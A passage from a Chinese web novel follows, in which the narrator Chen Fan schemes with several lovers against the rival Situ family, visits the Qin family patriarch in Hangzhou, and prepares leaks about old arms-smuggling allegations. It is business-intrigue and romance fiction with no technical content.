司徒晴站在原地,看着爷爷的背影,那个背影并不高大,甚至有些佝偻,但此刻在她眼中,却像一座无法逾越的高山。
她张了张嘴,想说些什么,但最终什么也没说。只是深深地鞠了一躬,然后转身离开。
走出书房时,周管家还等在门外。
“小姐慢走!”他微微躬身。
司徒晴点了点头,沿着来时的路往外走。
上车之前,司徒晴看了一眼这个从小生活的老宅,她知道,自己和这个家的关系,再也回不到从前了……
同一时间,我在办公室里看着监控画面。
但我监听了司徒晴的手机,从她进入老宅到出来,整个通话过程都被录音并实时传送到我这里。
叶倾城坐在沙发上,听完整个录音,脸色凝重。
“司徒雄比我们想象的更难对付。”她说,“他不仅知道发布会,还知道你做空股票,甚至知道那三家供应商的事。这说明他在你身边有眼线,而且是很高级别的眼线。”
“或者,”我关掉录音,“他在司徒晴身边有眼线。”
叶倾城一愣:“你是说……”
“司徒晴的团队里,有司徒雄的人!”
232我的小老婆!
我点了点头,然后走到酒柜前,到了两杯酒。
“司徒晴的发布会筹备了几天,要完全瞒过司徒家几乎不可能,司徒雄之所以一直没动手,就是在等今天,他等发布会成功,等飞越科技股价暴跌,等司徒晴以为自己赢了的时候,再给她致命一击。”
“他在教她规矩?”叶倾城接过酒杯说道。
“不只是教她规矩,也是在给我传递信息。”我喝了一口酒。
“什么信息?”叶倾城反问我。
“他在告诉我,司徒家不是冯家,不是那种可以被轻易算计的对手,他知道我在背后操作,但他不在乎,因为他有足够的实力兜底。”
我晃了晃手里的酒,道:“今天司徒晴去老宅的会面,表面上是爷爷教训孙女,实际上是一场**,他在展示肌肉,告诉我,在真正的实力面前,所有的小聪明都是徒劳。”
叶倾城沉默了半晌,然后问我:“那司徒晴会怎么选?”
“她不会选第一个,司徒晴不是会低头的人,她费劲心思,才逃出牢笼,她远离危险,她怎么可能会在回去。”
“那第二个选择呢?面对司徒家的全面围剿,晴空科技能撑多久?”叶倾城问我。
“撑不了多久。”我实话实说道:“如果司徒雄动用全部资源,晴空科技最多能撑六个月,六个月内,要么被收购,要么破产。”
“所以你当初投资晴空科技,是在赌司徒雄不会全力出手?”叶倾城敏锐地问。
“我赌的是司徒家的内斗。”我放下酒杯道:“司徒雄有三个儿子,七个孙子孙女,飞越科技是司徒飞在管,司徒晴是孙女辈里最出色的,但也是离核心权力最远的,我原本以为,司徒雄会乐见子孙之间的竞争,甚至可能暗中扶持司徒晴来制衡司徒飞。”
“但没想到,司徒雄把家族规矩看得比什么都重,他不允许任何损害家族利益的行为,哪怕是内部竞争也不行。”叶倾城突然接话。
“对。”我走到窗前,看着外面的城市道:“这就是百年世家的思维模式,稳定压倒一切,个人的才华可以欣赏,但不能破坏整体结构,所以司徒晴今天的行为,已经触及了司徒雄的底线。”
“那你打算怎么办?”叶倾城走到我身边,问我:“二十亿的利润已经到手,晴空科技这步棋,你已经赢了,至于司徒晴,如果你现在退出,她也怪不了你,商业合作就是这样,利益为先。”
我转过头看她:“你觉得我会退出吗?”
叶倾城与我对视:“不会,如果你会,你就不是陈凡了。”
我笑着摸了摸叶倾城的脸:“你说对了。”
我从一开始投资晴空科技,就不是单纯为了赚钱,我看中的是司徒晴这个人,是她背后司徒家的资源,是可能撬动这个世家的机会,现在机会来了,虽然比预想的更危险,但也更有价值。
“接下来你要怎么做?”叶倾城问我。
我看着她的眼睛,心想,她是在套我的计划么?
可随即,我笑了,因为她已经站在我这边,和司徒飞闹掰了,现在她可以不用怀疑了。
“帮我联系一个人。”我说。
“谁?”
“张薇薇,她那个调查记者团队,应该对司徒家的发家史很感兴趣,特别是九十年代,司徒雄在海运生意中的那些‘往事’。”
叶倾城眼睛一亮:“你要用**施压?”
“**只是第一层。”
“好,我现在就给你联系,我在媒体这方面,认识的人很多。”
叶倾城当着我的面,给张薇薇打去了电话,这个记者,年轻,敢打敢拼,也是一个有野心的人,这种人,才能根号的利用。
我随后,打电话给柳媚笙,我让柳媚笙调查一下司徒雄在东南亚那边的生意,我记得司徒家好像有三成利润是来自东南亚那边的。
我的一系列操作,叶倾城都看在眼里。
许久,她叹了一口气,对我说道:“陈凡,你知不知道,你同时下这么多步棋,很危险?司徒雄不是冯天宇,他如果发现你在背后搞这么多动作,可能会直接对你动手。”
“我知道。”我平静地说:“所以我需要你帮我做一件事。”
“什么事?”叶倾城问我。
“以叶家的名义,邀请司徒雄参加下周的慈善晚宴,我要在公开场合和他见一面。”
叶倾城愣住了:“你要主动见他?为什么?”
“因为我要告诉他,游戏已经开始了,他想教孙女规矩,想给我**,我都收到了,但现在,轮到我来制定规则了。”
我要约司徒雄,只能是叶倾城来,因为她原来是司徒家的棋子,现在叛变了,司徒雄对她肯定是愤怒,我正好可以利用这一点,否则,我很难见到司徒雄。
司徒雄用规矩和实力告诉我,在司徒家面前,我什么都不是。
那我就用我的方式告诉他,规矩是用来打破的,而实力,是打出来的。
“去做吧。”我对叶倾城说。
她看着我,眼中有着担忧,但也有一丝兴奋。她点了点头,转身离开了办公室。
我独自站在窗前,点燃一支烟。
手机响了,是司徒晴发来的信息,只有三个字:“对不起。”
她在为给我带来麻烦而道歉。
我回复了四个字:“你已经很好了。”
……
翌日,清晨。
我刚起床,我的手机就震动了。
是一个陌生的短信,我打开一看,是张薇薇给我发的,她显然是已经掌握了司徒家族的信息,也表示她收到了叶倾城给她的资料。
叶倾城端着两杯咖啡走出来,递给我一杯。
她穿着我的白衬衫,下摆刚过大腿,她赤脚踩在地板上,晨光勾勒出她纤细的腰身和修长的腿线,她头发松散地披着,有几缕贴在颈侧,带着刚睡醒的慵懒。
“这么早就有消息?”她问,声音还有些沙哑。
“张薇薇的效率比我想象的高。”我接过咖啡喝了一口,尝了一口。
“司徒雄九十年代在海运生
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意上的‘往事’,她只用了不到十二小时就找到了关键线索。”我说道。
叶倾城靠在我旁边的栏杆上,看着楼下渐渐热闹起来的街道:“是什么?”
“三艘船。”我说,“1994年到1996年间,司徒雄控股的远洋海运公司,有三艘货轮在东南亚航线‘意外’沉没。保险公司赔付了总计八千万美元,但事后调查发现,那三艘船都是即将报废的老旧船只,而且沉没地点都在公海,打捞验证极其困难。”
“**?”叶倾城皱眉,道:“八千万美元在当年是天文数字,但这种事,过去快三十年了,现在翻出来还有用吗?”
“如果只是**,确实没用。”我把手机递给她看上面的加密信息,“但张薇薇的团队发现,那三艘船沉没前一个月,都装载过一批特殊货物——**。目的地是当时正在内战的某个东南亚小国。”
叶倾城的瞳孔微微收缩:“司徒雄走私**?”
“准确说,是帮人转运,当年的国际制裁下,那个小国的政府军无法通过正规渠道购买武器,司徒雄的海运公司接了这单生意,用即将报废的船只运送,然后在公海制造‘事故’。船沉了,货没了,但该收的钱一分不少。至于**到底去了哪里……”
我没有说完,但叶倾城已经明白了。
“所以那三艘船的沉没,不是**,而是销毁证据。”她压低声音,“但这种事,张薇薇怎么可能查得到?三十年前的跨国**交易,痕迹早就被抹干净了。”
“痕迹可以被抹掉,但人不会。”我喝完最后一口咖啡,“当年负责那三艘船业务的主管,五年前退休,现在住在泰国清迈,张薇薇团队的人找到了他,用了一些...特殊手段,拿到了当年的航行日志副本和一部分通信记录。”
叶倾城沉默了几秒:“陈凡,你这是在玩火。司徒雄如果知道你在查他三十年前的旧账,不会善罢甘休。”
“他知道我在查。”我平静地说,“从他今天早上七点就知道张薇薇团队拿到资料开始,他就已经知道了。”
“什么?”叶倾城猛地站直身体,“你是说...”
“那个主管在泰国被人监视着。”我走进室内,开始换衣服,“司徒雄的人一直在盯着他,张薇薇团队接触他的第一时间,消息就已经传回司徒家了。”
“那你还想继续?”
“这就是我要的效果,我就是让司徒雄知道,我在查他,而且查得很深,但又不让他知道,我到底掌握了多少,猜疑比真相更折磨人。”
叶倾城跟进来,靠在卧室门框上看着我:“你这是在挑衅。”
“对。”我系好领带,转身面对她,“但挑衅需要有底气,张薇薇查到的只是冰山一角,我需要更多的筹码。”
我喝完了手里的咖啡,然后拿起外套,穿上,准备里离开。
“你去哪里?”
“去见我的小老婆。”我笑着说。
“你的小老婆?”
“秦悦……”
233你讨厌,非要惹我哭!
“所以你要见秦悦,寻求秦家的帮助?”
“对,秦家的政商关系可以给司徒家制造麻烦,柳媚笙的东南亚人脉可以帮我查更多当年的细节,三管齐下,司徒雄才会真正重视我这个对手。”
叶倾城走到我面前,伸手帮我整理了一下领带,她的动作很轻柔,眼神却很复杂。
“陈凡,你有没有想过,如果你输了,会是什么下场?”叶倾城问我。
“想过,如果我输了,我会失去一切,财富,地位,甚至是性命。”
“那为什么还要赌?”
“因为如果赢了,我得到的会是整个司徒家积累的一切,权力,资源,还有真正站在这座城市顶端的资格。”
她沉默了,手指在我掌心轻轻摩挲着。
“你知道吗,我父亲曾经说过,有两种人最可怕。一种是什么都不怕的人,一种是知道自己怕什么,但还是敢去做的人,你属于第二种。”
我低头吻了吻她的额头:“所以你要离我远点吗?”
“不。”她摇头,眼神变得坚定道:“我要离你更近点,因为我也想看看,顶端的风景到底是什么样的……”
……
杭城,细雨。
飞机准时降落,下午三点,我走出了航站楼。
接机口的人不多,我一眼就看到了她。
秦悦站在人群外围,她今天穿了件浅杏色的羊绒开衫,配白色阔腿裤,头发松松地绾在脑后,几缕碎发被雨汽打湿,贴在白皙的颈侧。
她没有打伞,细雨在她身上蒙了一层极细的水珠,在灯光下闪着微光。
看到我出来,她直起身,却没有立刻走过来,只是站在那里看着我。
我拉着行李箱朝她走去,我和她的距离越来越近,我能看清她眼中的光在微微颤动。
还有三步距离时,她忽然向我跑了过来!
她几乎是扑进我的怀里,她的手臂环绕我的脖子,她的身体贴着我,她将脸埋进了我的胸口……
“你终于来了,真的好想你……”
强势的秦家大小姐,此刻在我的怀里撒娇。
我没有说话,用脸蹭了蹭她,然后一手搂着她的腰,一手轻轻拍着她的背。
航站楼里人来人往,有人侧目,有人微笑,但我们都顾不上。
良久,她才松开手,退后一小步,抬起头看我,一副娇羞的样子。
“等了很久?”我伸手拭去她脸颊上的水珠。
“不久。”她摇头,唇角勾起一抹浅笑道:“从你说要来的那一刻开始等,等到现在,其实也不算很久。”
“秦家大小姐,也会说情话了?”
我故意用手刮了一下她的鼻子,她的话我听懂了。
“走吧。”她自然地挽住我的手臂,身体靠过来道:“车在外面等你,家里已经准备好了,我爷爷说晚上要和你一起吃饭。”
我微微一愣:“秦老爷子要见我?”
“嗯。”她点头,带着我往停车场走。
“他知道你来了,特意推掉了两个会议,不过你别紧张,我爷爷只是想见见你,没别的意思。”
我知道,秦悦说这话就是为了不给增加压力,我已经见过秦悦的父母,只不过秦家老爷子,我还没有见过,他可是个杭城商界传奇人物!
秦家老爷子秦守正,白手起家创立秦氏集团,六十年来历经风雨不倒,这样的老人要见我,绝不会只是“想见见”那么简单。
秦老爷子见我什么事情,我没有问,到时候见面就都知道了。
秦悦的车是一辆白色的宾利添越,她坐进驾驶座,我坐副驾,车子启动时,她忽然倾身过来,帮我系安全带。
这个动作让我们靠得很近,近到我能闻到她身上淡淡的香味,她的长发扫过我的脸颊,痒痒的。
她系好安全带,没有立刻退开,而是就着这个姿势,在我唇上轻轻吻了一下。
很轻的一个吻,一触即分,像蜻蜓点水。
“欢迎来杭城。”她看着我的眼睛,声音轻柔道:“我的小老婆身份,今天正式上岗。”
这话她说得坦荡又俏皮,眼里闪着狡黠的光。
我忍不住笑了,伸手揉了揉她的头发:“谁教你这个词的?”
“自学成才。”她坐回驾驶座,发动车子,“怎么,你不喜欢?”
“喜欢。”我系好自己的安全带,“不过这话要是让你爷爷听见,他可能会打断我的腿。”
“才不会。”秦悦转动方向盘,车子平稳地驶出停车场,道:“爷爷可喜欢你了,他说,能让我主动带回家的男人,一定不是普通人。”
“以后,夏颜是你的大老婆,我就是你的小老婆!”秦悦狡黠一笑,一副得逞的笑容。
“喜欢杭城吗?”秦悦问。
“像你一样温柔。”我说。
“这话说得真好听,不过陈凡,你知不知道,你每次说情话的时候,眼神都特别认真,认真到让人分不清是真话还是假话。”
“那你觉得是真话还是假话?”我侧过头,问她。
“我希望是真的,但就算是假的,我也愿意相信一次。”
她开着车,眼睛盯着前面的路,车里的气氛很微妙,是一种彼此心照不宣的默契。
四十分钟后,车子驶入西子湖畔的一片别墅区。
这里的房子都是中式庭院风格,白墙青瓦,飞檐翘角,院墙很高,私密性极好,秦家的宅子在最深处,临湖而建,推开后窗就能看到湖水的全景。
“到家了。”
秦悦停好车,转头看我,眼中闪过一丝紧张的问:“你准备好了吗?”
我握住她的手道:“随时。”
主屋的门开着,一个穿着中式褂子的老人站在门口,他看起来七十多岁,身材精瘦,背脊挺直,这就是秦守正,秦家的定海神针。
“爷爷。”秦悦快步走过去,扶住老人的手臂,轻声道:“外面下雨,您怎么出来了?”
“接客人。”
秦守正的目光落在我身上,上下打量了一番,然后点了点头,“陈凡?”
“秦老,叨扰了。”我微微躬身道。
“不叨扰。”他转身往屋里走:“进来吧,茶已经泡好了。”
我跟着秦老爷子往屋里走,这里的客厅很大,装修古朴典雅,所有的家具都是红木的,墙上挂着许多名贵的字画,空气中弥漫的茶香,让人心神宁静。
我们在茶桌前坐下,秦守正亲自泡茶。
“尝尝……”秦守正示意道。
我浅尝一口,入口鲜爽,回甘悠长,确实是顶级的龙井。
“好茶。”我说。
秦守正点点头,这才开始正题问我:“我听悦悦说了你的事,对付司徒家,有几分把握?”
秦老爷子的问题很直接,我也不遮遮掩掩。
“五成。”我放下茶杯。
“五
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成?”秦守正挑眉,道:“不高。”
“但值得一试。”我看着他的眼睛道:“司徒家树大根深,能有五成把握,已经是最好的结果。”
“你知道失败的后果吗?”
“知道。”我说得很平静:“轻则倾家荡产,重则性命不保。”
秦守正沉默地喝着茶,良久,才缓缓开口:“悦悦是我最疼爱的孙女,是我一手带大的,这孩子聪明,要强,但也单纯,她从来没带男人回过家,你是第一个。”
他抬起眼,目光如炬的看着我问:“所以我必须知道,你对她是真心,还是只是利用?”
这个问题很重,秦悦坐在我旁边,手在桌下悄悄握住了我的,她的手心有些出汗,指尖冰凉。
“秦老……”我认真的看着他说道:“我对悦悦,有利用,也有真心,在这个圈子里,纯粹的感情是奢侈品,我买不起,也给不起。但我可以保证,无论未来发生什么,我都会护她周全,这是我的承诺。”
这话说得很实在,没有花言巧语,也没有虚假承诺。秦守正听完,眼中闪过一丝欣赏。
“实在话比漂亮话中听。”他点点头,道:不过陈凡,你要记住,悦悦不只是秦家的大小姐,她更是我的命根子。如果你敢伤她,就算你扳倒了司徒家,我秦守正也有办法让你后悔。”
这话是警告,也是认可。
“我记住了。”我说。
秦守正这才露出今天第一个笑容:“好了,正事说完了。悦悦,带陈凡去休息吧,晚上六点开饭,我让厨房做了杭帮菜,陈凡第一次来,得尝尝地道的西湖醋鱼和龙井虾仁。”
“谢谢秦老。”
秦悦带我去了她的院子,在主屋东侧,独立成院。院子里有个小池塘,养着锦鲤,塘边种着几株芭蕉,雨打芭蕉的声音淅淅沥沥,很有意境。
“喜欢吗?”秦悦从背后抱住我,脸贴在我背上。
“很美。”我握住环在我腰上的手,道:“像画一样。”
“那以后常来。”她的声音闷在我背上,“这里永远有你的房间。”
我转过身,将她搂进怀里。
她的身体很软,很温暖,带着江南女子特有的柔美,我低头吻她,这一次不再是蜻蜓点水,而是深入而缠绵的吻。
窗外雨声渐大,芭蕉叶被雨水打得噼啪作响。
屋内却很安静,只有我们的呼吸声和心跳声,这个吻很长,长得像是要把这些天的思念都补回来。
吻到两人都气息不稳时,我才放开她,她的脸颊绯红,眼中水光潋滟,唇微微红肿,美得惊心动魄。
“陈凡……”她轻声唤我的名字,手指抚上我的脸,“你知道吗,你不在的时候,我每天都看北方的天气预报,看到下雨,就会想你带没带伞,看到降温,就会想你穿没穿够衣服,我从来没这样牵挂过一个人……”
我握住她的手,贴在唇边吻了吻:“我也是。”
“你也是什么?”她追问,眼中闪着期待的光。
“我也是……”我看着她,一字一句地说,“每天都会想,杭城今天天气怎么样,秦悦在做什么,有没有按时吃饭,有没有想我。”
这话说出口的瞬间,秦悦的眼眶又红了。但这次她没有忍住,眼泪大颗大颗地滚落下来,无声无息。
“你混蛋……”她捶了我一下,力道很轻,“非要惹我哭……”
234晚安,我的女人!
我抱住她,让她靠在我肩上哭。
我知道,秦悦就是想让我多陪陪她。
“对不起。”我轻声说。
“不要对不起……”她摇头,声音哽咽道:“我要你你以后经常来,要你记得这里有个家在等你,要你心里永远有我的位置。”
“好,我答应你。”
我抱着秦悦,看着窗外的烟雨,忽然觉得,如果时间能停在这一刻,也很好。
但至少此刻,在这江南的烟雨里,我可以暂时放下一切,只做她的陈凡。
“晚上爷爷要和你谈正事。”秦悦在我怀里轻声说:“他已经联系了几个老朋友,都是当年和司徒雄有过节的人,他们会帮你的。”
“嗯。”我吻了吻她的头发,“谢谢。”
“不要谢我。”她抬起头,眼睛还红着,但笑容很甜道:“我们是一家人。”
她说出“一家人”三个字时,有些害羞,但又很坚定。
我看着她,心中涌起一股暖流。
在这个冰冷算计的世界里,能有这样一个地方,这样一个人,给我一个“家”的感觉,是件很奢侈的事。
“对,”我笑着点头道:“一家人。”
……
秦家的晚饭,如实举行。
我和秦悦分坐在两侧,秦守正坐在主位,老人家话不多,但每句话都很有分量,他聊起杭城的历史,聊秦家在这里的百年根基,聊他年轻时如何白手起家,言语间不时透露出对孙女未来的关切,但都说得含蓄而体面。
“陈凡。”饭吃到一半时,秦守正放下筷子,看着我关切的问我:“听悦悦说,你接下来要参加叶家的慈善晚宴?”
“是的。”我点头。
“司徒雄也会去?”秦守正问。
“会,叶家给他发了邀请函。”
秦守正沉吟片刻,缓缓道:“司徒雄这个人,我打过几次交道,六十年代,他父亲司徒宏还在世时,我们秦家和司徒家有过合作,后来司徒雄接手家业,手段比他父亲狠辣得多,九十年代那场海运业的整合,他吞并了七家竞争对手,其中三家老板后来出了‘意外’。”
他顿了顿,眼神深邃道:“当然,没有证据,但在这个圈子里,大家都心知肚明,陈凡,你要对付这样的人,光有勇气是不够的。”
“还需要什么?”我问。
“还需要借力。”秦守正夹起一块鱼肉,细细挑刺,然后对着我说道:“司徒家树大根深,你要撼动它,不能只靠自己,要借政策的力,借时代的力,借其他家族的力。”
“秦家可以成为你的力之一,但我要知道,你值得我押注。”秦守正看向我,眼神里有试探。
这话说得很直白,我放下筷子,认真地看着他:“秦老想要什么保证?”
“不是保证,是诚意。”秦守正缓缓道:“悦悦喜欢你,这是她的选择,我尊重,但秦家不是我一个人的,是几代人的心血。我要看到,你对悦悦的重视,不只是嘴上说说。”
他顿了顿,一字一句地说:“慈善晚宴上,我要你公开承认和悦悦的关系,不是偷偷摸摸,是光明正大。让所有人都知道,秦家的孙女,是你陈凡的人。”
这话一出,秦悦的脸瞬间红了:“爷爷!”
我没有立刻回答。
公开关系,意味着将秦悦彻底绑在我的战车上。也意味着,我和司徒家的战争,秦家将正式站队。这对我有利,但对秦家来说,风险巨大。
但更让我犹豫的是,一旦公开关系,夏颜怎么办?
她现在怀有身孕,我不能不考虑她的感受,我怕她会伤心。
“秦老……”我缓缓道:“我不怕公开关系,但那会让悦悦会成为司徒家的首要攻击目标,您舍得?”
“舍不得。”秦守正坦然道:“但悦悦不是温室里的花朵,她是秦家的女儿,该面对的风雨,躲不掉,而且……”
他看向秦悦,眼中有着复杂的情感:“我这辈子最遗憾的,就是当年太保守,没有娶到心爱的女人,我不希望悦悦重蹈覆辙!”
秦悦的眼眶红了:“爷爷……”
“所以陈凡……”秦守正转回头看我道:“我给你这个机会,但也只有这一次,如果你让悦悦受伤,或者利用完秦家就抛弃她,我发誓,我就算倾尽秦家所有,我也会让你付出代价。”
秦老爷子这番话说的很重,但也很真诚。
我站起身,朝秦守正深深鞠了一躬道:“秦老放心,我陈凡在此承诺,无论未来如何,悦悦永远是我要保护的人。这份心意,天地可鉴。”
秦守正看了我很久,然后点了点头道:“记住你今天说的话,好了,坐下吃饭吧,菜要凉了。”
我这一顿饭我吃的舒坦又紧张,舒坦的是,秦老爷子对我的认可,紧张的是他对我和秦悦关系的认定。
我想要两头讨好是不可能的了,秦悦的关系,我确实也会公开。
只要夏颜那边点头同意,我就会公开。
因为要对付司徒家,我需要秦家,可夏家的实力,连秦家都比不上。
如果能把周叶青搞到手,那就妥了,可这女人,油盐不进,不食人间烟火一样,我真是无从下手啊。
晚饭后,秦悦带我去了她的书房。
书房在二楼,窗外正对着湖水,杭城的雨已经停了,夜空澄净,一弯新月挂在天边,湖面上倒映着点点灯火,美的像梦境。
秦悦没有开大灯,只开了桌上的一盏台灯。
暖黄的光晕笼罩着她,给她周身镀上了一层温柔的光边。她靠在窗边,看着我,眼中有着复杂的情绪。
“爷爷的话,你不用太有压力,如果你觉的现在公开不合适,我们可以再等等,我理解你的处境,司徒家那边……”
“不。”我走到她面前,握住她的手道:“秦老说得对,如果连公开承认的勇气都没有,我就不配站在你身边。”
秦悦的眼睛亮了:“你真的愿意?”
“愿意。”我点头道:“但我需要你做好心理准备。一旦公开,你会面对很多非议、猜忌,甚至攻击,司徒家不会放过这个机会,他们一定会想办法抹黑你,抹黑我们的关系。”
“我不怕!陈凡!”秦悦仰起脸,眼中有着倔强的光,“陈凡,我不是小女孩,我知道自己在做什么,也知道自己要面对什么,我只问你一个问题!”
她顿了顿,深吸一口气:“你爱我吗?哪怕只有一点点?”
这个问题很直接,也很重要。
我看着她的眼睛,那双总是清冷平静的眸子里,此刻盛满了期待和不安,她像在等待审判的囚徒,既渴望听到答案,又害怕听到答案。
我没有立刻回答,而是伸手将她揽入怀中,她的身体先是一僵,然后慢慢放松,靠在我胸口。
“悦悦!”我低声说道:“在这个世界上,爱有很多种,有一见钟情的爱,有日久生情的爱,有纯粹的爱,也有复杂的爱,我对你……”
我停顿了一下,我感受到她的心跳在加速……
“我对你,可能不是最纯粹的那种爱。”我诚实地说:“我们之间从一开始就有算计,有利益,有各自的目的,但在这个过程中,我看到了你的聪明,你的坚韧,你的温柔,我看到了你为了帮我,不惜和秦昊斡旋。”
我抬起她的脸,让她看着我道:“所以,如果爱是想要保护一个人,想要让她幸福,想要每天早上醒来第一眼看到的就是她,那我想,我是爱你的。”
秦悦的眼泪滑落下来,但她笑了,笑得像雨后初晴的西湖,干净而明亮。
“这就够了。”她踮起脚尖,吻上我的唇道:“陈凡,我不要求你百分百纯粹的爱,在这个圈子里,我们都身不由己,但只要你心里有我的位置,只要你愿意为我留一盏灯
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,给我一个家,我就心满意足了。”
秦悦的这个吻温柔而绵长,良久,我们才分开,秦悦的脸颊绯红,眼中水光潋滟,她拉着我在窗边的沙发坐下,头靠在我肩上。
“慈善晚宴的事,爷爷已经安排好了。”她轻声说道:“秦家会派一个代表团去,由我带队,到时候,我会在晚宴上正式宣布秦家投资晴空科技的计划,而你……”
她抬起头,狡黠一笑:“你要当众邀请我跳第一支舞,让所有人都看到,我们在一起。”
我笑了:“好。”
“还有……”她从茶几抽屉里拿出一份文件,递给了我。
“这是爷爷让我给你的,秦家在上京的几个关系,还有,司徒雄三十年前那件事的另一个关键证人。”
我接过文件,翻开。里面有几个名字和联系方式,都是重量级人物。
最后一页,是一个老照片的复印件,一个穿着军装的男人,看起来四十多岁,面容刚毅。
“这个男人是谁啊?”我好奇的问。
“当年那个东南亚小国的将军,吴山。”秦悦压低声音道:“他没死,那场内战后,他隐姓埋名,现在东南亚,爷爷的人找到了他,他愿意作证,但有两个条件。”
“什么条件?”
“第一,保证他和家人的安全,第二……”秦悦看着我,“他要五百万美元,现金,这笔钱,秦家可以出。”
我摇了摇头道:“不用,还是我来吧……”
“爷爷说了,这是秦家给你的支持,但他也说了,这个人很关键,但也很危险,用好了,是捅向司徒雄的致命一刀。用不好,可能会反噬。”
我明白秦守正的意思,这种证人,就像双刃剑,能伤敌,也可能伤己。
“我会谨慎处理。”我说。
秦悦点点头,靠回我肩上。
“陈凡……”她忽然轻声说道:“如果……如果有一天,你和司徒家的战争结束了,你会不会……”
她没有说完,但我听懂了。
良辰美景,美人在怀,我怎么能不懂她的意思……
“会。”我握住她的手,柔声道:“那个时候,我会经常来杭城,每天早上陪你散步,吃你做的早餐,周末去看爷爷,陪他下棋喝茶。”
秦悦的眼睛又湿了:“你说真的?”
“真的。”我吻了吻她的额头道:“我不会骗你的。”
就在这个事后,我的手机响了。
是叶倾城发来的消息。
“司徒晴三天期限已到,她选择了第二条路。司徒雄今天上午召开了家族会议,正式宣布成立‘天驱科技’,全面围剿晴空科技,战争开始了。”
我看完信息,心中平静。
该来的,总会来。
“怎么了?”秦悦察觉到我的变化。
“没什么。”我收起手机,将她搂得更紧些,“只是上城的一些消息,悦悦,我可能明天就要回去了。”
秦悦的身体僵了一下,但很快放松:“嗯,我知道。你是做大事的人,不能一直待在温柔乡里。”
她的声音里有不舍,但更多的是理解。
“慈善晚宴见。”我说。
“嗯,慈善晚宴见。”她抬起头,认真地看着我,“到时候,我会盛装出席,做你最耀眼的女伴,让所有人都知道,秦家的女儿,选择了你。”
我笑了:“好。”
那一晚,我们聊到很晚。聊杭城的四季,聊西湖的传说,聊她小时候的趣事,聊我对未来的规划。像是要把所有来不及说的话,都在这一夜说完。
凌晨两点,秦悦靠在我肩上睡着了。呼吸均匀绵长,睫毛在脸颊上投下小小的阴影,睡着的她,少了平日的清冷和距离,多了几分柔软和依赖。
我轻轻抱起她,将她送回卧室床上,给她盖好被子,在她额头上印下一个吻。
“晚安,悦悦……”我轻声说。
235柳媚笙的孤注一掷!
秦悦睡着了,她在睡梦中露出了一个甜美安心的笑容。
我退出卧室,来到书房,我抽着烟,看着不远处的湖面,心中思绪万千。
秦悦,柳媚笙,夏颜,司徒晴,苏婉情,叶倾城,林薇儿……
嗡嗡……
我的手机振动,是柳媚笙发来的消息。
“国外那边传来消息了,很劲爆,你什么时候回来?”
“明天……”我回复。
……
第二天,十点,上城机场。
叶倾城带着一款黑色墨镜,在出口等我,她今天穿了一件黑色长款大衣,搭配同色高领毛衣,长发披散,女人味十足。
“杭城之行还顺利?”她接过我手中的小行李箱,声音柔和的问我。
“顺利,秦家会全力支持,秦悦会带队参加慈善晚宴,到时候公开站队。”
我和叶倾城并肩而行,她脚步顿了顿,侧头看我一眼:“只是站队?”
我知道她问的是什么,公开站队和公开关系是两码事,前者是商业合作,后者是个人捆绑。
“都会公开。”我说。
叶倾城沉默了几秒,然后点点头:“也好,有秦家这层关系,司徒雄动手时会多些顾忌。”
她的话说得很得体,但我知道她心里在想什么,我们之间有过亲密时刻,但从未有过承诺,如今我要公开和另一个女人的关系,她不可能毫无感觉。
但这就是成年人的世界,感情和利益交织,真心和算计并存。
“司徒晴那边怎么样?”我转移话题。
“不太好。”叶倾城发动车子,驶出停车场。
“她选了第二条路,司徒雄说到做到,‘天驱科技’昨天正式注册成立,注册资金五十亿,从司徒家各个产业抽调了最精锐的技术团队,司徒雄亲自担任董事长,司徒飞是CEO。”
她顿了顿,语气凝重:“更麻烦的是,司徒雄动用了政商关系,昨天下午,晴空科技收到了三份调查通知,税务稽查、知识产权审查、还有环保部门的突击检查,虽然都是走程序,但足够让晴空科技疲于奔命。”
我皱起眉头,这确实是司徒雄的风格,他不直接动手,但用体制的力量慢慢绞杀。
“司徒晴能撑住吗?”我问。
“暂时可以。”叶倾城说道:“她比你想象的坚韧,昨天收到调查通知后,她连夜召开了高管会议,今天一早就主动配合税务部门查账,态度无可挑剔,知识产权那边,她拿出了完整的研发记录和专利申请文件,至于环保,晴空科技的工厂标准本来就是行业最高的。”
我点点头,司徒晴确实成长了。
如果是三个月前,她可能会慌乱,会愤怒,会去找司徒雄理论,但现在,她知道怎么用规则对抗规则。
“但她撑不了太久。”叶倾城继续说道:“司徒雄的资源太深厚,如果每天都有不同部门上门‘检查’,晴空科技的正常运营会被严重干扰,而且,我听说司徒雄在接触晴空科技的几家主要供应商,想从上游切断他们的供应链。”
“有具体名单吗?”我问。
“有。”叶倾城递给我一个文件夹。
“我让团队整理出来了,三家核心零部件供应商,五家材料供应商,还有两家代工厂,司徒雄的人已经接触过其中四家,开出的条件很优厚,只要停止给晴空科技供货,司徒家会包下他们未来三年的全部产能,价格上浮20%。”
我翻看着文件,心中冷笑。
司徒雄果然是财大气粗的打法,直接用钱砸,这种手段简单粗暴,但往往最有效。
“我们还有多少时间?”我问。
“最多两周。”叶倾城说:“两周内,如果找不到替代供应商,或者不能解决司徒家的围剿,晴空科技的生产线就会停摆,到时候别说新产品上市,连现有的订单都无法交付。”
“柳媚笙那边呢?”我问:“她说国外有消息了。”
“她在等你。”叶倾城看了我一眼道:“需要我陪你过去吗?”
“不用。”我说,“你先回公司,帮我安排几件事。”
“什么?”
“第一,联系张薇薇,让她把司徒雄三十年前那件事的调查进展,用安全的方式‘泄露’给几家主流媒体,不用直接报道,只要让他们知道有这么回事就行。”
叶倾城眼睛一亮:“你要制造**压力?”
“对。”我点头,“司徒雄现在集中精力对付晴空科技,我们得给他找点别的事做。让媒体开始关注他,哪怕只是隐约的猜测,也够他头疼一阵。”
“第二呢?”
“第二,”我继续说:“联系我们在海外的团队,让他们接触晴空科技的那几家供应商,告诉他们,如果他们顶住司徒家的压力,继续供货,我们会给予同样的价格优惠,并且承诺未来三年的订单量不低于司徒家开的条件。”
“这需要大量资金。”叶倾城提醒,“我们现在能动用的现金,可能不够同时支撑晴空科技和支付供应商溢价。”
“钱的事我来解决,你只管去谈。”我说道。
叶倾城看了我一眼,没再多问:“好,第三呢?”
“第三……”我看向车窗外说道:“我今天晚上见司徒晴。然后一会儿我要去见柳媚笙。”
车子在柳媚笙酒店停下,叶倾城没有立刻下车,而是看着我,欲言又又止。
“怎么了?”我问。
“陈凡……”她轻声说:“这场仗,我们真的能赢吗?司徒雄的资源和手段,远超我们之前的任何对手,而且他现在是动真格的。”
“倾城。”我认真的说:“你相信我吗?”
她看着我的眼睛,看了很久,然后点头:“信。”
